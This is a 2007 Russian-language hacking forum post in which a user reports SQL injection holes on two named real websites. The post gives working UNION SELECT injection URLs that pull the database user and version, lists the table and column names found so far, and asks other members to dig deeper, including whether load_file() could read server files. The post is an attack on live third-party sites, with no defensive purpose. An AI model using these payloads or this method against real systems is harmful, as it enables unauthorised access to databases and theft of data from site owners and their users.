15.08.2007, 15:54
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287
Репутация:
4738
|
|
Слепая sql-inj, кроме таблицы news и колонки n_id ничего не подобрал..., а ещё есть колонки o_id и rc_id, только вот в каких таблицах? Имхо должны быть таблицы авторов и оппонентов, если я правильно понял из самого сайта...
Код:
http://www.ortodoxmedia.com/autor.php?autor=-1+union+select+1,user(),n_id,4,5,version()+from+news+where+n_id=15/*
ЗЫ Может кто копнёт поглубже? Подгузка файла (load_file()) тут сработает?
Код:
http://sololiteratura.com/php/autor.php?id=-1+union+select+user(),version(),null/*
Последний раз редактировалось -=lebed=-; 15.08.2007 в 16:02..
|
|
|